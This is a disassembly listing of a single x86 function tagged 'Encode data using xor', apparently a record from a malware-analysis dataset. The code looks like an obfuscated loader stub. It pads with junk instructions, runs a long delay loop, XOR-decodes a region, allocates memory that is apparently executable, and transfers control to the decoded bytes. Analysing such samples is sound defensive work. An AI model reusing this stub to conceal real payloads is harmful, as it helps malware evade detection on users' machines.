Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x55b1ef99
mov edi, ebx
not ebx
popal
not ebx
add ebx, 0xe8554eaa
mov edi, ebx
mov ecx, 0
mov eax, edi
inc ebx
and ebx, ebx
mov edx, eax
sub esi, ebx
dec esi
sub esi, ebx
mov edi, edx
or esi, ebx
inc ebx
add ecx, 1
or ebx, esi
add esi, 1
cmp ecx, 0x10066f7
jne 0xa789c6
sub ebx, 0x4ee4df42
add esi, esi
mov ebx, 0x2fe30960
sub ebx, 1
mov edi, ebx
mov eax, 0xa78796
add esi, 0xd364d4d0
sub esi, edi
dec esi
mov edx, 0xa7898a
not esi
dec ecx
sub esi, ecx
mov ebx, dword [eax]
or esi, edi
dec edi
not edi
and ebx, 0xff
mov esi, 0x3878438c
or ecx, edi
xor dword [edx], ebx
add esi, ecx
and esi, esi
inc edx
add edi, esi
add edi, edi
add eax, 1
sub ecx, edi
add edi, 0x3f01af54
cmp edx, entry0
jl 0xa78a1e
dec ecx
not ecx
sub ecx, edi
add ecx, 0x8e1aa262
mov ecx, 0x12bac0b
and esi, edx
not esi
and esi, ebx
mov ecx, 0xa7898e
sub ebx, 0x3e9166b
add edx, 1
mov ecx, dword [ecx]
not edi
inc edi
or esi, edx
mov ecx, dword [ecx]
mov ebx, 0x7cdf4a51
or edx, esi
not ebx
push ecx
and edx, edx
mov esi, edx
mov ecx, 0xa7898a
mov esi, edi
add edx, esi
inc edx
mov ecx, dword [ecx]
not edi
and esi, edi
not ebx
mov ecx, dword [ecx]
sub esi, edx
add ebx, 0x6c752077
push 0xa78992
sub edx, 0xe7a2dad6
dec ebx
dec edx
call ecx
mov edi, 0xb91b0984
and esi, edx
sub esi, 0xa3bf9a5a
pop ecx
and edx, edi
inc edi
push 0xa7899f
inc ebx
mov edx, ebx
sub esp, 4
mov dword [esp], eax
mov edi, 0x5f027ab7
sub edx, 0xcaee26a8
call ecx
mov edi, esi
add edi, esi
inc esi
push 0x40
add edi, 0xe41f9ad8
not edi
push 0x3000
and esi, edx
or edi, edx
push 0x20000278
sub esi, 0x70445b3c
mov esi, 0xf04859f1
and edi, edx
push 0
sub edi, 1
add edx, esi
mov esi, ebx
call eax
inc ebx
mov esi, edx
add eax, 0x200001ec
sub edx, 1
mov edi, ebx
sub esi, 0x45a5fc34
mov ecx, 0xb6f9d689
sub esi, 0x677ee49b
mov edx, 0x4a8ebf9e
not edx
mov dword [eax], ecx
and esi, ebx
or edx, ebx
and esi, edi
mov ecx, dword [eax]
and esi, edx
sub esi, 0xd68bcb74
cmp ecx, 0xb6f9d689
je 0xa78b74
mov ebx, 0
mov al, byte [ebx]
or ebx, ebx
inc ebx
add esi, 0x34f68330
add edi, 0x7cfacde5
not esi
add esi, esi
sub edi, 0xcf1a4cf9
add edi, ebx
or edi, ebx
mov ecx, section..data
not edi
not ebx
mov ebx, edi
mov edx, 0xa78795
and edi, ebx
dec ebx
mov eax, 0
mov edi, 0x1709f997
sub edi, 0x2dc58ec5
mov esi, 0xa78796
add edi, edi
not ebx
sub ebx, edi
lea esi, [eax + esi]
mov ebx, edi
add edi, edi
mov esi, dword [esi]
sub ebx, 0x6e8b54e6
add edi, edi
and esi, 0xff
mov ebx, 0xc99486
and edi, ebx
inc eax
and ebx, edi
dec edi
mov ebx, 0x91abc1f2
cmp eax, 0x1f4
jne 0xa78bf3
mov eax, 0
add edi, 0x975bb67a
dec ebx
sub edi, 0x5888591d
add ebx, 0x1293b387
mov edi, ebx
xor dword [ecx], esi
add ebx, ebx
not ebx
add ebx, edi
add ecx, 2
and edi, edi
sub edi, 0x9e1805c7
mov ebx, edi
cmp ecx, edx
jl 0xa78bb4
and edi, ebx
add edi, 0x899eb643
not edi
sub ebx, edi
mov edi, section..data
and esi, esi
add esi, ecx
mov eax, section..data
mov esi, 0x3302ef38
add ecx, ecx
mov edx, 0xa78795
not ecx
mov esi, 0xa444f601
and esi, ecx
mov ebx, 0
and ecx, ecx
mov ecx, 0x69a6a00f
mov bl, byte [eax]
not esi
add esi, ecx
mov byte [edi], bl
mov ecx, 0x4d9bf3b9
sub ecx, esi
sub esi, 0x61128117
inc edi
and ecx, ecx
sub esi, 0xb174ffbe
sub esi, 0x1aac234f
add eax, 2
or esi, ecx
mov esi, ecx
cmp eax, edx
jle 0xa78c63
dec esi
dec esi
sub ecx, 0xf5e4ac33
mov edi, 0x9c4cdd21
mov ebx, edi
push 0x8dc6a0
mov edi, 0xd45c4fa7
mov ebx, 0x6e846d69
sub ebx, 1
ret